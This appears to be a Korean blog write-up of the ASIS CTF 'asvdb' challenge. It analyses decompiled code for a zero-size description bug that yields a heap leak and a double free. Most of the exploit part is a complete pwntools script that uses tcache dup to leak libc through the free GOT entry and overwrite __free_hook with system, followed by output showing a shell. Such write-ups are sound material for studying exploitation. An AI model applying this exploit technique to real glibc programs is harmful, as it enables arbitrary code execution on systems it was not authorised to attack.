Content
tcache dup
logic error
Analysis
struct bug
{
_DWORD year;
_DWORD id;
_QWORD *title;
_QWORD *desc;
_DWORD severity;
};
위와 같은 구조체를 사용한다.
create()
int create()
{
void *title; // ST20_8
void *buf; // ST28_8
unsigned int bug_index; // [rsp+4h] [rbp-2Ch]
unsigned int size; // [rsp+10h] [rbp-20h]
bug *bug; // [rsp+18h] [rbp-18h]
bug_index = find_buglist();
if ( bug_index == -1 )
return puts("bug list is full, sorry.");
puts("Creating Bug:");
bug = malloc(0x20uLL);
printf("Enter year: ");
LOWORD(bug->year) = read_int();
printf("Enter id: ");
bug->id = read_int();
printf("Enter title (Up to 64 chars): ");
title = malloc(0x40uLL);
bzero(title, 0x40uLL);
read_str(title, 0x3Fu);
bug->title = title;
printf("Enter description size: ", 63LL);
size = read_int();
if ( size && size <= 0xFF )
{
buf = malloc(size);
bzero(buf, size);
printf("Enter description: ", size);
read_str(buf, size - 1);
bug->desc = buf;
}
else
{
puts("Invalid description size.");
}
printf("Enter Severity: (0: LOW, 1: MEDIUM, 2: HIGH, 3: CRITICAL): ");
bug->severity = read_int();
global_bug[bug_index] = bug;
return printf("New bug created at index=%u.\n", bug_index);
}
bug
를 만드는 함수인데, 아래 부분에서 취약점(?)이 발생한다.
if ( size && size <= 0xFF )
{
buf = malloc(size);
bzero(buf, size);
printf("Enter description: ", size);
read_str(buf, size - 1);
bug->desc = buf;
}
만약 사이즈가 0이 된다면, 위에서 description
을 제외한 나머지 title
이나 bug
는 이미 malloc
되어있기때문에 description
이 없는 bug
가 할당된다.
show()
int show()
{
unsigned int serverity; // eax
unsigned int index; // [rsp+Ch] [rbp-4h]
printf("Enter bug index: ");
index = read_int();
if ( index > 5 )
return puts("Wrong idx.");
if ( !global_bug[index] )
return puts("Wrong idx.");
puts("-------------------------");
printf("idx: %u\n", index);
printf("ID: ASV-%u-%u\n", *global_bug[index], *(global_bug[index] + 4LL));
printf("Severity: ");
serverity = *(global_bug[index] + 24LL);
if ( serverity == 1 )
{
puts("Medium");
}
else if ( serverity < 1 )
{
puts("Low");
}
else if ( serverity == 2 )
{
puts("High");
}
else if ( serverity == 3 )
{
puts("Critical");
}
else
{
puts("Unknown");
}
printf("title: %s\n", *(global_bug[index] + 8LL));
if ( *(global_bug[index] + 16LL) )
printf("Description: %s\n", *(global_bug[index] + 16LL));
return puts("-------------------------");
}
마지막 description
을 출력하는 부분에서 description
의 존재 여부를 확인하고 출력하는데, size
에 0을 입력하게 되면 heap leak
할 수 있다.
설명을 어떻게해야할지 모르겠지만 직접 돌려보면 알 수 있다.
free()
int __fastcall free_data(unsigned int index)
{
_QWORD *tmp; // rax
if ( global_bug[index] )
{
free(*(global_bug[index] + 8LL));
free(*(global_bug[index] + 16LL));
free(global_bug[index]);
tmp = &global_bug[index];
*tmp = 0LL;
}
else
{
LODWORD(tmp) = puts("Wrong idx.");
}
return tmp;
}
또한, free하고 나서 global_bug[index]
에 NULL
을 넣어주어 double free
를 낼 수 없지만, create
할 때 size
에 0을 넣어주면 global_bug
에 값이 들어가지만 *(global_bug[index] + 16LL)
은 이미 free
되어있는 상태이므로 DFB
가 발생한다.
Exploit
from pwn import *
#context.log_level = "debug"
binary = "./asvdb"
e = ELF(binary)
libc = e.libc
r = process(binary)
menu = lambda x : r.sendlineafter("> ",str(x))
go = lambda x : r.sendlineafter(":",str(x))
def create(year,id_,title,size,description,severity):
menu(1)
r.sendlineafter("year: ",str(year))
r.sendlineafter("id: ",str(id_))
r.sendlineafter("title (Up to 64 chars): ",title)
r.sendlineafter("size: ",str(size))
if size == 0:
pass
elif len(description) >= size - 1:
r.send(description)
else:
r.sendline(description)
r.sendlineafter("3: CRITICAL): ",str(severity))
def delete(index):
menu(3)
go(index)
def show(index):
menu(4)
go(index)
for i in range(3):
create(1,1,"A",0x88,"B",1)
delete(2)
delete(0)
for i in range(2):
create(1,1,"A",0,"",1)
show(0)
r.recvuntil("Description: ")
heap = u64(r.recvline()[:-1].ljust(8,"\x00")) - 0x530
log.info("heap : " + hex(heap))
delete(0)
create(1,1,"A",0x88,p64(heap + 0x298),1)
create(1,1,"A",0x88,"XXXX",1)
fake = p64(e.got["free"]) * 2 + p64(1) + p64(0) + p64(0x51) + "A"*72 + p64(0x91)
create(1,1,"A",0x88,fake,1)
show(0)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["free"]
log.info("libc_base : " + hex(libc_base))
delete(3)
delete(2)
delete(1)
create(1,1,"A",0,"",1)
delete(1)
create(1,1,"A",0x88,p64(libc_base + libc.symbols["__free_hook"]),1)
create(1,1,"echo \"Get shell!\"",0x88,"/bin/sh\x00",1)
create(1,1,"A",0x88,p64(libc_base + libc.symbols["system"]),1)
delete(2)
r.interactive()
__free_hook
에 system
덮고 "/bin/sh"
들어있는 청크 free시키면 된다.
원샷은 다 안맞는다.
Shell
juntae@ubuntu:~/ctf/asis/asvdb$ p ex.py
[*] '/home/juntae/ctf/asis/asvdb/asvdb'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './asvdb': pid 8714
[*] heap : 0x258e000
[*] libc_base : 0x7fe19eb32000
[*] Switching to interactive mode
Get shell!
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
ASIS CTF 문제 꿀잼.
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[SECCON] Secure Keymanager ( write-up ) (0) | 2019.12.12 |
---|---|
[SECCON] video player ( write-up ) (0) | 2019.12.11 |
[ASIS CTF] FCascasde ( write-up ) (0) | 2019.12.03 |
[ASIS CTF] TinyPwn ( write-up ) (0) | 2019.12.03 |
[ASIS CTF] cat ( write-up ) (0) | 2019.12.03 |